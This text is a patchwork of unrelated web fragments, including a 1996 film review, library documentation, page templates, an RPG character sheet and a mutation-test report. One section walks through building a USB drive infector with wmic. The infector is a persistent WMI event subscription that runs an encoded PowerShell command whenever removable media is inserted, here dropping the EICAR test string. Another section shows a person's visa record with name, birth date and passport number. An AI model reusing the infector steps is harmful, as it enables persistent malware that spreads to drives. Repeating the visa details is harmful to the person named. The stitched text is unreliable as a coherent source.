THE WHOLE WIDE WORLD A film review by Ben Hoffman Copyright 1996 Ben Hoffman
Novalyne Price Ellis is now 88-years-old. The film is based on her book, ONE WHO WALKED ALONE, a remembrance of Robert E Howard whom she loved way back in the 1930s. Howard was the very eccentric author of the weird stories of CONAN, THE BARBARIAN. As he was the first to unreservedly admit, he was "the best writer in the whole wide world."
The film is a precious gem from its opening scene of Novalyne (Renee Zellweger) on the porch of her home in rural Texas to the fadeout at the end that lingers lovingly on her face. Vincent D'Onofrio, who plays Howard, transports us into another world, that of the writer who wanted no ties of any kind. As Howard sits at his typewriter, he verbalizes and furiously enacts the weird and ferocious Conan stories.
When Novalyne meets him it is love at first sight but his love is not the same as hers. Where she yearns for "normal" love, he feels marriage is binding, that it will restrict, and he will have no part of it. Like Robert, she too is a writer with the big difference that she is unpublished. Robert, a bear of a man and outspoken, tells her that her stories are laughable. He explains that the people in her town about whom she writes are unreal because they bear no resemblance to what the people are really like . . . and he despises all of them.
Robert's father (Harve Presnell) is a doctor. His sickly mother (Anne Wedgeworth) makes the most of her illnesses thus keeping her extremely devoted son close to her to the point where it borders on a sickness with Robert washing her, carrying her and always hovering over her. As he explains to Novalyne, his mother was the first to recognize his genius and he feels indebted.
D'Onofrio's portrayal of Howard is in the Oscar nomination class. Zellweger, too, is perfection, reminding me of a younger Steenburgen. The music of Harry Gregson-Williams and Hans Zimmer is right on target and never obtrusive; Claudio Rocha's photography brings us right into agricultural Texas; the film's pace is exactly right. What more could you ask for? Look for a nomination for Best Film of the year.
Directed by Dan Ireland Rating 4 Bytes
4 Bytes = Superb 3 Bytes = Too good to miss 2 Bytes = Average 1 Byte = Save your money
Ben Hoffman
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


This tool provides insights into the DCN Collective.
(1) DCN Collective Name is the name assigned to the collective.
(2) Recv Op Name and Send Op Name is TPU recv-done op name and send op name.
(3) Slack Time is the network independent time the collective has to transmit the data.
(4) Observed Duration is the interval between the start of the send op to the end of the corresponding recv-done op.
(5) Stall Duration is the duration of time the collective spends in send/send-done/recv/recv-done ops.
(6) Occurrences is the total number of occurrences for each collective in the profiled duration.


In this example, we’re going to use wmic.exe to create a PoC USB drive infector that will immediately drop the EICAR string to eicar.txt in the root folder of any inserted removable media.
#Change the event filter to use something other than "USB Inserted"
1) Create an __EventFilter instance.
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="VolumeArrival", QueryLanguage="WQL", Query="SELECT * FROM Win32_VolumeChangeEvent WHERE EventType=2"
#Actions that happen when Event occurs
2) Create an __EventConsumer instance. CommandLineEventConsumer in this example.
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="InfectDrive", CommandLineTemplate="powershell.exe -NoP -C [Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('WDVPIVAlQEFQWzRcUFpYNTQoUF4pN0NDKTd9JEVJQ0FSLVNUQU5EQVJELUFOVElWSVJVUy1URVNULUZJTEUhJEgrSCo=')) | Out-File %DriveName%\eicar.txt"
3) Obtain the __RELPATH of the __EventFilter and __EventConsumer instances. This built-in, system property provides the object instance syntax needed when creating a __FilterToConsumerBinding instance.
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter GET __RELPATH /FORMAT:list
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer GET __RELPATH /FORMAT:list
4) Create a __FilterToConsumerBinding instance. The syntax used for the Filter and Consumer properties came from the __RELPATH properties in the previous step.
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"VolumeArrival\"", Consumer="CommandLineEventConsumer.Name=\"InfectDrive\""
At this point, the USB drive infector is registered and running!
5) Optional: Remove all instances - i.e. unregister the permanent WMI event subscription.
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="VolumeArrival" DELETE
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="InfectDrive" DELETE
So that’s all there is to it! Hopefully, this will be a useful tool to add to your offensive WMI arsenal!


Home
Watson Green
Weather
Status
Sensor 1: Irrigating
Sensor 2: Stopped
Sensor 3: Stopped
Parametrization
Culture:
Agrotoxic:
Irrigation Interval:


Gets the x value
Gets the y value
Returns a vector is the vector v added from current vector
Vector2D(x,y).add(Vector2D(p,q)) maps to Vector2D(x+p,y+q)
Does not mutate this vector
import vec2 from 'v2d'
let v = vec2(2,3);
v.add(vec2(2,3)); // Will equal Vector2D(4,6)!
v.add(vec2(-1,-2)); // Will equal Vector2D(1,1)!
Applies function f to coordinates of this. Vector2D(x,y).apply(f) maps to Vector2D(f(x),f(y))
Does not mutate this vector
import vec2 from 'v2d'
let v = vec2(3,4);
v.apply(a => Math.cos(a)); // Will equal Vector2D(cos(3),cos(4))!
v.apply(a => a % 3); // Will equal Vector2D(0,1)!
Calculates the dot-product between current vector and vector v and returns the result
Vector2D(x,y).dot(Vector2D(p,q)) maps to xp+yq
Does not mutate this vector
import vec2 from 'v2d'
let v = vec2(3,4);
v.dot(vec2(3,4)); // Will equal 25!
v.dot(vec2(4,-3)); // Will equal 0!
Returns the tangent of current vector
Vector2D(x,y).dydx() maps to y/x
Does not mutate this vector
import vec2 from 'v2d'
let v = vec2(2,4);
v.dydx(); // Will equal 2!
Checks whether a vector is equal to this vector
```typescript import vec2 from 'v2d'
let v = vec2(2,3);
v.equals(vec2(2,3)); // Will equal true! v.equals(vec2(1,2)); // Will equal false!
Returns the length of the vector
Vector2D(x,y).length() maps to |Vector2D(x,y)|
Does not mutate this vector
import vec2 from 'v2d'
let v = vec2(3,4);
v.length(); // Will equal 5!
Returns the middle between vector v and current vector
Vector2D(x,y).middle(Vector2D(p,q)) maps to Vector2D(x,y).add(Vector2D(p,q)).sca(0.5)
Does not mutate this vector
import vec2 from 'v2d'
let v = vec2(3,4);
v.middle(vec2(5,8)); // Will equal Vector2D(4,6)!
Return a parameterized version of vector
import vec2 from `v2d`
function foreignFunc(x: number, y:numbers): void {
...
}
const v = vec2(1, 2);
foreignFunc(...v.params());
Returns a vector is the vector v subtracted from current vector
Vector2D(x,y).sub(Vector2D(p,q)) maps to Vector2D(x-p,y-q)
Does not mutate this vector
import vec2 from 'v2d'
let v = vec2(2,3);
v.sub(vec2(2,3)); // Will equal Vector2D(0,0)!
v.sub(vec2(-1,-2)); // Will equal Vector2D(3,5)!
Calculates the point wise multiplication of with v
Vector2D(x,y).times(Vector2D(p,q)) maps to Vector2D(xp,yq)
Does not mutate this vector
import vec2 from 'v2d'
let v = vec2(3,4);
v.times(vec2(3,4)); // Will equal Vector2D(9,16)!
v.times(vec2(4,-3)); // Will equal Vector2D(12,-12)!
Returns the sign of current vector's x
Does not mutate this vector
import vec2 from 'v2d'
vec2(-13,0).xSign(); // Will equal -1!
vec2(-5,2).xSign(); // Will equal -1!
vec2(-5,0).xSign(); // Will equal -1!
vec2(0,2).xSign(); // Will equal 0!
vec2(3,0).xSign(); // Will equal 1!
vec2(33,0).xSign(); // Will equal 1!
Returns the sign of current vector's y
Does not mutate this vector
import vec2 from 'v2d'
vec2(0,-13).ySign(); // Will equal -1!
vec2(2,-5).ySign(); // Will equal -1!
vec2(0,-5).ySign(); // Will equal -1!
vec2(2,0).ySign(); // Will equal 0!
vec2(0,3).ySign(); // Will equal 1!
vec2(0,33).ySign(); // Will equal 1!
Generated using TypeDoc
A two dimensional vector
import vec2 from 'v2d' let v = vec2(2,3); v.add(vec2(2,3)); // Will equal Vector2D(4,6)! v.sub(vec2(-1,-2)); // Will equal Vector2D(3,5)!


| Billing address | |
| Name | {{order.billingAddress.firstName}} {{order.billingAddress.lastName}} |
| Address line-1 | |
| Address line-2 | |
| City | |
| Country | |
| Post code | |
| Phone number |
| Shipping address | |
| Name | {{order.shippingAddress.firstName}} {{order.shippingAddress.lastName}} |
| Address line-1 | |
| Address line-2 | |
| City | |
| Country | |
| Post code | |
| Phone number |
| Payment | |
| Payment method |
| Shipping | |
| Shipping method |
| Im | Product(s) | Price | Quantity | Total |
{{item.product.info.name}} |
{{item.product.info.price | currency}} |
{{(item.product.info.price * item.quantity) | currency}} |
| Sub Total: | |
| Shipping: | |
| Total: |


| Name | Player Name | Date | |||
| Species | Race | Culture | |||
| Homeland | Career | Social Class | |||
| Age | Height | Weight | |||
| Gender | Frame | Handedness |
| Strength | Constitution | Size | Dexterity | Intelligence | Power | Charisma |
| Action Points | Damage Modifier | Experience Modifier | Healing Rate | Initiative | Luck Points | Movement Rate |
| Magic Points | |
| Used Magic Points |
Â
Background, Culture, Family...
Â
Ranks, Benefits, Restrictions, Gifts...
Skill |
Base % |
Culture/Career |
|
Notes |
| Athletics | Str + Dex | |||
| Boating | Str + Con | |||
| Conceal | Dex + Pow | |||
| Customs | Int x2 | |||
| Dance | Dex + Cha | |||
| Deceit | Int + Cha | |||
| Drive | Dex + Pow | |||
| First Aid | Int + Dex | |||
| Influence | Cha x2 | |||
| Insight | Int + Pow | |||
| Locale | Int x2 | |||
| Perception | Int + Pow | |||
| Ride | Dex + Pow | |||
| Stealth | Dex + Int | |||
| Swim | Str + Con | |||
| Unarmed | Str + Dex |
Skill |
Base % |
Culture/Career |
|
Notes |
| Brawn | Str + Siz | |||
| Endurance | Con x2 | |||
| Evade | Dex x2 | |||
| Willpower | Pow x2 |
Skill |
Base % |
Culture/Career |
|
Notes |
| Acting | Cha x2 | |||
| Acrobatics | Str + Dex | |||
| Art | Cha + Pow | |||
| Bureaucracy | Int x2 | |||
| Commerce | Int + Cha | |||
| Courtesy | Int + Cha | |||
| Craft | Dex + Int | |||
| Culture | Int x2 | |||
| Disguise | Int + Cha | |||
| Engineering | Int x2 | |||
| Gambling | Int + Pow | |||
| Healing | Int + Pow | |||
| Language | Int + Cha | |||
| Literacy | Int x2 | |||
| Lockpicking | Dex x2 | |||
| Lore | Int x2 | |||
| Mechanisms | Dex + Int | |||
| Musicianship | Dex + Cha | |||
| Navigation | Int + Pow | |||
| Oratory | Pow + Cha | |||
| Seamanship | Int + Con | |||
| Seduction | Int + Cha | |||
| Sleight | Dex + Cha | |||
| Streetwise | Pow + Cha | |||
| Survival | Con + Pow | |||
| Teach | Int + Cha | |||
| Track | Int + Con |
Skill |
Base % |
Culture/Career |
|
Notes |
| Binding | Cha + Pow | |||
| Devotion | Cha + Pow | |||
| Exhort | Int + Cha | |||
| Folk Magic | Cha + Pow | |||
| Invocation | Int x2 | |||
| Meditation | Int + Con | |||
| Mysticism | Pow + Con | |||
| Shaping | Int + Pow | |||
| Trance | Pow + Con |
Style, Weapons, Trait, (Str + Dex), Percent
Language, (Int + Cha), Percent
Passion, (Base +30%), Percent
d20 |
Location |
Max HP |
Current HP |
| 19 - 20 | Head |
|
|
| 16 - 18 | Left Arm |
|
|
| 13 - 15 | Right Arm |
|
|
| 10 - 12 | Chest |
|
|
| 7 - 9 | Abdomen |
|
|
| 4 - 6 | Left Leg |
|
|
| 1 -3 | Right Leg |
|
|
Item, ENC, Burdened = Str x2, Overloaded = Str x3
Armor Worn, AP, ENC (worn armor counts as half)
|
|
|


Javascipt takes HTML and CSS to the next level! Javascript enables the end user to really interact with the webpage.
Control flow (or alternatively, flow of control) is the order in which individual statements, instructions or function calls of an imperative program are executed or evaluated. An example of control flow in my everyday life is on Mondays my daughter goes to choir. A loop is a sequence of instructions/processes that are continually repeated until a certain condition is reached. Dishwashing, Laundry, cooking and cleaning are the endless loops going on in my house right now.
Data in arrays is accessed by calling the data's place in the list, ie. [0], [1], [2] etc. A piece of data in objects however, needs to be found with its unique name ie. {"Nat"}.
 It enables us to avoid having to type out the same instructions over and over.


Heber Jimenez
About
Portfolio
Contact
About Me
Hangman
RPG Game
Trivia Game
Rutgers Info Widget
Rock Paper Scissors


Spacious
We have space...
Dashboard
Search routes
Stelar view
About
Contact Us!
I am admin
Select Data from routes


University of Sydney student’s winning plan to turn local streets into superblock communities
Local streets would be transformed into “superblock” community hubs featuring parks, bars and open spaces under University of Sydney engineering student James Kapaniris’ vision for the city’s future. Today his ideas won him the 2019 Lendlease Bradfield Urbanisation Scholarship.
His ideas, which include turning streets into share zones where pedestrians, cyclists and people are prioritised over cars, have won Mr Kapaniris the 2019 Lendlease Bradfield Urbanisation Scholarship.
“The key message behind my idea is we need to find all the benefits of urbanisation without the drawbacks,” said Kapaniris, who is studying a Bachelor of Engineering Honours and Bachelor of Commerce at Sydney University.
The scholarship is valued at $10,000 a year and lasts for the length of the undergraduate degree. Most of the previous winners have also done internships with Lendlease and still work for the company.
Kapaniris paid tribute to his fellow students and scholarship finalists at Friday’s Bradfield Oration and said he was “really excited” to contribute his ideas to industry leaders while learning from the sector’s finest.
Growing up in Strathfield, Mr Kapaniris said he has lived the experience of the impact of
urbanisation on communities — and often longed for a sense of community.
“My childhood was very different to what my parents told me theirs was like,” he said.
“I was dominated by the city so it was hard to foster community bonds and it’s important for neighbours to have this.”
University of Sydney Vice-Chancellor Michael Spence paid tribute to the entrants in the scholarship and said young people were the key to our future.
“It is a habit of ours to believe in the future,” Dr Spence said at the Bradfield Oration.
“Mostly we believe in the future because we see the remarkable young people who are going to take this forward.”


About me
Hello there!
I am Esther and became front end developer after studying in Adalab.
But what did I do before jumping into the tech world? I studied Chemical Engineering in Madrid and got experience as a materials researcher for two years. At the same time, I was a volunteer for a gaming company from Berlin as a customer and IT support. Technology and the digital field peaked my interest during this experience.
I am a very flexible and committed person with a strong ability to adapt easily and work under high pressure. I have a positive attitude and am always looking for ways to grow both professionally and personally.
Technical skills
- vanilla JavaScript
- React
- ECMAScript 6
- HTML5
- CSS3
- SASS
- Git


| 1 | /* | |
| 2 | * Copyright 2011-2013, by Vladimir Kostyukov and Contributors. | |
| 3 | * | |
| 4 | * This file is part of la4j project (http://la4j.org) | |
| 5 | * | |
| 6 | * Licensed under the Apache License, Version 2.0 (the "License"); | |
| 7 | * You may not use this file except in compliance with the License. | |
| 8 | * You may obtain a copy of the License at | |
| 9 | * | |
| 10 | * http://www.apache.org/licenses/LICENSE-2.0 | |
| 11 | * | |
| 12 | * Unless required by applicable law or agreed to in writing, software | |
| 13 | * distributed under the License is distributed on an "AS IS" BASIS, | |
| 14 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | |
| 15 | * See the License for the specific language governing permissions and | |
| 16 | * limitations under the License. | |
| 17 | * | |
| 18 | * Contributor(s): - | |
| 19 | * | |
| 20 | */ | |
| 21 | ||
| 22 | package org.la4j.linear; | |
| 23 | ||
| 24 | import org.la4j.Matrices; | |
| 25 | import org.la4j.Matrix; | |
| 26 | import org.la4j.matrix.functor.MatrixFunction; | |
| 27 | import org.la4j.Vector; | |
| 28 | ||
| 29 | /** | |
| 30 | * This class represents | |
| 31 | * <a href="http://mathworld.wolfram.com/Gauss-SeidelMethod.html"> Seidel method | |
| 32 | * </a> for solving linear systems. | |
| 33 | */ | |
| 34 | public class SeidelSolver extends AbstractSolver implements LinearSystemSolver { | |
| 35 | ||
| 36 | private static final long serialVersionUID = 4071505L; | |
| 37 | ||
| 38 | private final Matrix aa; | |
| 39 | ||
| 40 | public SeidelSolver(Matrix a) { | |
| 41 | super(a); | |
| 42 | ||
| 43 | // We need a copy here, since we don't want to change source matrix | |
| 44 | this.aa = a.copy(); | |
| 45 | ||
| 46 |
3
1. 2. 3. |
for (int i = 0; i < aa.rows(); i++) { |
| 47 | MatrixFunction divider = Matrices.asDivFunction(aa.get(i, i)); | |
| 48 |
3
1. 2. 3. |
for (int j = 0; j < aa.columns(); j++) { |
| 49 |
1
1. |
if (i != j) { |
| 50 |
1
1. |
aa.updateAt(i, j, divider); |
| 51 | } | |
| 52 | } | |
| 53 | } | |
| 54 | } | |
| 55 | ||
| 56 | @Override | |
| 57 | public Vector solve(Vector b) { | |
| 58 |
1
1. solve : removed call to org/la4j/linear/SeidelSolver::ensureRHSIsCorrect → SURVIVED |
ensureRHSIsCorrect(b); |
| 59 | ||
| 60 | Vector current = b.blankOfLength(unknowns()); | |
| 61 | ||
| 62 |
1
1. solve : negated conditional → KILLED |
while (!a.multiply(current).equals(b)) { |
| 63 | ||
| 64 |
3
1. solve : negated conditional → TIMED_OUT 2. solve : changed conditional boundary → KILLED 3. solve : Changed increment from 1 to -1 → KILLED |
for (int i = 0; i < aa.rows(); i++) { |
| 65 | ||
| 66 |
1
1. solve : Replaced double division with multiplication → TIMED_OUT |
double acc = b.get(i) / aa.get(i, i); |
| 67 |
3
1. solve : negated conditional → TIMED_OUT 2. solve : changed conditional boundary → KILLED 3. solve : Changed increment from 1 to -1 → KILLED |
for (int j = 0; j < aa.columns(); j++) { |
| 68 |
1
1. solve : negated conditional → TIMED_OUT |
if (i != j) { |
| 69 |
2
1. solve : Replaced double multiplication with division → TIMED_OUT 2. solve : Replaced double subtraction with addition → TIMED_OUT |
acc -= aa.get(i, j) * current.get(j); |
| 70 | } | |
| 71 | } | |
| 72 | ||
| 73 |
1
1. solve : removed call to org/la4j/Vector::set → TIMED_OUT |
current.set(i, acc); |
| 74 | } | |
| 75 | } | |
| 76 | ||
| 77 |
1
1. solve : mutated return of Object value for org/la4j/linear/SeidelSolver::solve to ( if (x != null) null else throw new RuntimeException ) → KILLED |
return current; |
| 78 | } | |
| 79 | ||
| 80 | @Override | |
| 81 | public boolean applicableTo(Matrix matrix) { | |
| 82 |
1
1. applicableTo : replaced return of integer sized value with (x == 0 ? 1 : 0) → KILLED |
return matrix.is(Matrices.DIAGONALLY_DOMINANT_MATRIX); |
| 83 | } | |
| 84 | } | |
Mutations | ||
| 46 |
1.1 2.2 3.3 |
|
| 48 |
1.1 2.2 3.3 |
|
| 49 |
1.1 |
|
| 50 |
1.1 |
|
| 58 |
1.1 |
|
| 62 |
1.1 |
|
| 64 |
1.1 2.2 3.3 |
|
| 66 |
1.1 |
|
| 67 |
1.1 2.2 3.3 |
|
| 68 |
1.1 |
|
| 69 |
1.1 2.2 |
|
| 73 |
1.1 |
|
| 77 |
1.1 |
|
| 82 |
1.1 |


--- layout: post permalink: attractivecredit.html Tags: Array NameOfCoupon: Attractive Credit Coupon Summary: See our Attractive Credit Coupon Code, Attractive Credit Rebate, Attractive Credit Promo Code, Attractive Credit Discount, Attractive Credit Coupon Cash Back Rebate here. MetaKeywords: Attractive Credit Coupon Code, Attractive Credit Rebate, Attractive Credit Promo Code, Attractive Credit Cash Back Rebate, Attractive Credit Discount, Attractive Credit Coupon Image: images/20524.jpg LinkURL: http://www.shareasale.com/r.cfm?b=157191&u=412002&m=20524 affiliate_url_link: http://www.icouponblog.com/jane.php?id=4 thesis_readmore: See the Attractive Credit Coupon thesis_thumb: http://www.icouponblog.com/tn.php?merchantURL=attractivecredit.com Title: Save $27.50 - Attractive Credit Coupon Code for attractivecredit.com. Attractive Credit Rebate & Discount thesis_description: Our Attractive Credit Discount Coupon Code for attractivecredit.com. We have the best Attractive Credit Rebate anywhere. thesis_keywords: Attractive Credit, Attractive Credit Coupon Code, Attractive Credit Discount, Attractive Credit Rebate product_name: Attractive Credit hop_url: http://www.icouponblog.com/hop.php?id=4 ---
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It's a simple form for the purpose of testing responsiveness
Don't you have a registration yet? Click Here!


--- layout: default ---
Sketch and Calc
Software to trace and draw canvas with the possibility to measure size and distances from jpeg images
LINKFiji
Fiji is an image processing package. It can be described as a "batteries-included" distribution of ImageJ (and ImageJ2), bundling Java, Java3D and a lot of plugins organized into a coherent menu structure. Fiji compares to ImageJ as Ubuntu compares to Linux. canvas with the possibility to measure size and distances from jpeg images
LINK


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List of the best Hamburgers around You!


the start button is to open camera , and stop is close camera
use function create simaple full screen QR code reader, before show you shuld click create qr-scanner


--- title: "Wordpress Archive" author: ~ date: 2017-01-07 09:50:40 -0500 tags: [] ---
I moved my Wordpress blog to Wordpress.com as an archive and so I would not need to pay to maintain the self-hosted site. The link is here.


--- layout: page title: About header-img: "img/about-bg.png" ---
My name is Stephen Olson. I live in Brooklyn, NY and enjoy drawing, jokes, professional basketball and the occult.


{% extends "base.html" -%} {% block content_title -%} About {% endblock -%} {% block content -%}
This is a project created by Cobalt based on the ides of Martin Auer and Maurice. {% endblock -%}


int code
SMTPClient.Response response
int where
Copyright © 2012 SubEthaSMTP. All Rights Reserved. Build version: 3.1.7


| JavaDoc | Responsible | Description |
|---|---|---|
| ch.ivyteam.birt.internal | Jacques Stadler (, Michael Dänzer) | The Implementation of the BirtRuntimeManager. |
| ch.ivyteam.birt.extension | Jacques Stadler (, Michael Dänzer) | The Birt PI Element which uses Birt to create Reports. |
| ch.ivyteam.birt.restricted | Jacques Stadler (, Michael Dänzer) | The Interfaces and Factory to access the Birt Reporting Engines from Xpert.ivy. |
| ch.ivyteam.ivy.reporting.internal | Jacques Stadler (, Michael Dänzer) | Implementation of the ReportingManager and ReportDataCollector. |
| ch.ivyteam.ivy.reporting.internal.dataset | Jacques Stadler (, Michael Dänzer) | The DataSetEventAdapters that provide data to the report DataSets. |
| ch.ivyteam.ivy.reporting.internal.dataset.entry | Jacques Stadler (, Michael Dänzer) | The report data entries used by the DataSetEventAdapters. |
| ch.ivyteam.ivy.reporting.restricted | Jacques Stadler (, Michael Dänzer) | Reporting interfaces and classes used from other plugins. |
| ch.ivyteam.ivy.reporting.restricted.config | Jacques Stadler (, Michael Dänzer) | Reporting Configuration classes. |


Users are the ZAP representations of websites/webapps' users. They allow certain actions to be performed from the point of view of an user of the webapps. For each Context, a set of Users can be defined, which can then be used in actions related to the context. Most commonly, during various scans the request messages can be sent from the point of view of a User.
The concept of Users is tightly tied to the concepts of Session Management and Authentication. When a User is first used somewhere in ZAP, an authentication is performed (according to the Authentication Method defined for the Context) and a Session is created and configured for this user (according to the Session Management defined for the Context). After that, requests sent from the point of view of a User are modified (if necessary) and sent in such a way that the web server identifies them as being sent by an authenticated webapp/website user. If anytime a User appears to be unauthenticated (as determined by the Authentication Verification Strategy), a new authentication is performed and the Session is updated accordingly.
In order to perform the authentication of a user on a website / in a webapp, the Authentication Method defines how the authentication is done (the process), while the necessary credentials (the exact identifiers) are dependent on the user, so, in ZAP, they are configured in the Users.
| Session Contexts Dialog |
| Poradnik na YouTube | of the Authentication, Session Management and Users Management features of ZAP [external link to https://youtu.be/cR4gw-cPZOA]. | |
| Authentication Overview | for an overview of Authentication in ZAP | |
| UI Overview | for an overview of the user interface | |
| Features | provided by ZAP | |
| Session Contexts Dialog | for an overview of the Session Properties |


Moves console's origin (ie. the point that BatBox considers as the point of coordiates (0,0)). This command affects later BatBox (/g) behaviours.
BATBOX /o OffsetX OffsetY
Moves console's origin.
OffsetX : Column number of the new origin (starts at 0 (leftmost column)).
OffsetY : Line number of the new origin (starts at 0 (top)).
Later commands BatBox(/g) will behave like they moved the cursor to the point of coordinates (X+OffsetX,Y+OffsetY)
This command is avaliable since version 2.3.
BatBox (/g), BatBox (/a), BatBox (/c), BatBox
Dos9 manual pages, The Dos9 Project - Copyright © 2010-2013 Darkbatcher
This is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
Please report bugs, and mistakes at : <darkbatcher at dos9 dot org>


Kasia
Visa duration and travel. Date of grant 25 September 2019.
Must not arrive after 25 September 2020.
Length of stay 3 month(s) from the date of each arrival.
Travel Multiple entries.
Visa summary
Name Pawel Jakub WOJCIK
Date of birth 06 August 1979
Visa eVisitor (subclass 651)
Date of grant 25 September 2019
Visa grant number<PHONE_NUMBER>218
Passport (or other travel
document) number
ER1045313
Passport (or other travel
document) country
POLAND
Application ID 130631928
Transaction reference number EGONOONT6I


Nekoyume uses Dungeon World rules. Familiarize yourself with the basic rules of Dungeon World so that you can play the game better fun. → Learn Dungeon World
Currently, only novice job is fixed without choosing a job in the preview network. In future, the mainnet will be able to select all jobs offered by Dungeon World.
It takes about 15 seconds for the player activation. But sometimes it takes longer, so please be patient. 🙏
If you have Gold, you can become more powerful player. → Buy Gold


Research interests
-
Ocean tides
The most recent work on constructing a numerical model of
global tides is described here. Our new model will be used to explore
tidal regimes of the past and future and their climatological
implications.
Continue Reading »
-
Thin film flows
The dynamics of thin films with a free surface flows is conventionally
described with the lubricationy approximation. However, in many cases
its long-wave assumption is invalid and so are its predictions.
Continue Reading »
-
Resonant over-reflection
Scattering of large-scale waves by surface currents in the ocean is
explored in my Ph.D. thesis . Occurrence of resonant over-reflection is
connected to radiating instabilities and spontaneous emission of waves.
Continue Reading »
-
Non-Newtonian fluids
In my master thesis stability of the plane flows of non-Newtonian
fluids (e.g. soil, slurries) was investigated. The stationary
scattering theory and some integral estimates was proposed to prove the
linear stability.
Continue Reading »


{% extends "ppwa/ppwa.html" %} {% block description %}ACME Vacation Products{% endblock %} {% block header %}
Sorry we have nothing to sell.


Provides the basic operators, some of which must be used in a continuous scope, others must only be used in a sequential scope.
More...
|
| static void | Once (Action handler) |
| | Schedule an action to be performed once. This can be used to shift from a continuous scope into a sequential scope, but is also valid within an existing sequential scope. More...
|
| |
| static void | WhenEnded (Action onScopeEnded) |
| | Schedule an action to be invoked when the current scope ends. Available from any type of scope. More...
|
| |
| static void | AnyChange (ICell cell, Action handler) |
| | Listen for changes to a cell until the scope ends. Whenever the cell is modified, a sequential handler is scheduled. More...
|
| |
| static void | AnyChange (IEnumerable< ICell > cells, Action handler) |
| | Listen for changes to a collection of cells until the scope ends. Whenever any cell is modified, a sequential handler is scheduled. More...
|
| |
| static void | Subscribe< T > (IObservable< T > source, Action< T > handler) |
| | Subscribe to an observable sequence as long as this scope is active. Each new value in the observable sequence starts a new sequential block. More...
|
| |
| static ICellRead< T > | SubscribeValue< T > (IObservable< T > source, T initialValue) |
| | Observe the value produced by an observable sequence as long as the current scope is active. More...
|
| |
| static void | Listen (object target, string eventName, Action< EventArgs > handler) |
| | Subscribe to a .NET event, conforming to the standard .NET event pattern, as long as this scope is active. Each time an event is raised, a new sequential block will be started. More...
|
| |
| static void | Listen< T > (object target, string eventName, Action< T > handler) |
| | Subscribe to a .NET event, conforming to the standard .NET event pattern, as long as this scope is active. Each time an event is raised, a new sequential block will be started. More...
|
| |
| static void | Listen< TDelegate, TArgs > (Action< TDelegate > addHandler, Action< TDelegate > removeHandler, Action< TArgs > handler) |
| | Subscribe to a .NET event, conforming to the standard .NET event pattern, as long as this scope is active. Each time an event is raised, a new sequential block will be started. More...
|
| |
Provides the basic operators, some of which must be used in a continuous scope, others must only be used in a sequential scope.
| static void Tempo.Events.AnyChange |
( |
ICell |
cell, |
|
|
Action |
handler |
|
) |
| |
|
inlinestatic |
Listen for changes to a cell until the scope ends. Whenever the cell is modified, a sequential handler is scheduled.
- Parameters
-
| cell | The cell to observe. |
| handler | The action to execute. |
| static void Tempo.Events.AnyChange |
( |
IEnumerable< ICell > |
cells, |
|
|
Action |
handler |
|
) |
| |
|
inlinestatic |
Listen for changes to a collection of cells until the scope ends. Whenever any cell is modified, a sequential handler is scheduled.
- Parameters
-
| cells | The cells to observe. |
| handler | The action to execute when a change occurs. |
| static void Tempo.Events.Listen |
( |
object |
target, |
|
|
string |
eventName, |
|
|
Action< EventArgs > |
handler |
|
) |
| |
|
inlinestatic |
Subscribe to a .NET event, conforming to the standard .NET event pattern, as long as this scope is active. Each time an event is raised, a new sequential block will be started.
- Parameters
-
| target | The object instance which exposes the event. |
| eventName | The name of the event. |
| handler | The sequential block to invoke for each event. |
Subscribe to a .NET event, conforming to the standard .NET event pattern, as long as this scope is active. Each time an event is raised, a new sequential block will be started.
- Parameters
-
| target | The object instance which exposes the event. |
| eventName | The name of the event. |
| handler | The sequential block to invoke for each event. |
| static void Tempo.Events.Listen< TDelegate, TArgs > |
( |
Action< TDelegate > |
addHandler, |
|
|
Action< TDelegate > |
removeHandler, |
|
|
Action< TArgs > |
handler |
|
) |
| |
|
inlinestatic |
Subscribe to a .NET event, conforming to the standard .NET event pattern, as long as this scope is active. Each time an event is raised, a new sequential block will be started.
- Template Parameters
-
| TDelegate | The type of the event's delegate |
| TArgs | The type of the event arguments |
- Parameters
-
| addHandler | An action to subscribe to the event. |
| removeHandler | An action to unsubscribe from the event. |
| handler | The sequential block to invoke for each event. |
- Type Constraints
-
| TArgs | : | EventArgs | |
| TDelegate | : | class | |
| static void Tempo.Events.Once |
( |
Action |
handler | ) |
|
|
inlinestatic |
Schedule an action to be performed once. This can be used to shift from a continuous scope into a sequential scope, but is also valid within an existing sequential scope.
- Parameters
-
| handler | The action to perform |
| static void Tempo.Events.Subscribe< T > |
( |
IObservable< T > |
source, |
|
|
Action< T > |
handler |
|
) |
| |
|
inlinestatic |
Subscribe to an observable sequence as long as this scope is active. Each new value in the observable sequence starts a new sequential block.
- Template Parameters
-
| T | The type of values in the observable sequence. |
- Parameters
-
| source | The sequence to observe. |
| handler | A handler to invoke for each element in the observable sequence. |
| static ICellRead<T> Tempo.Events.SubscribeValue< T > |
( |
IObservable< T > |
source, |
|
|
T |
initialValue |
|
) |
| |
|
inlinestatic |
Observe the value produced by an observable sequence as long as the current scope is active.
- Template Parameters
-
| T | The type of values in the observable sequence. |
- Parameters
-
| source | The sequence of values to observe. |
| initialValue | The value that the result will hold until the first value is received from the observable sequence. |
- Returns
| static void Tempo.Events.WhenEnded |
( |
Action |
onScopeEnded | ) |
|
|
inlinestatic |
Schedule an action to be invoked when the current scope ends. Available from any type of scope.
- Parameters
-
| onScopeEnded | The action to execute when the scope ends. |
The documentation for this class was generated from the following file:
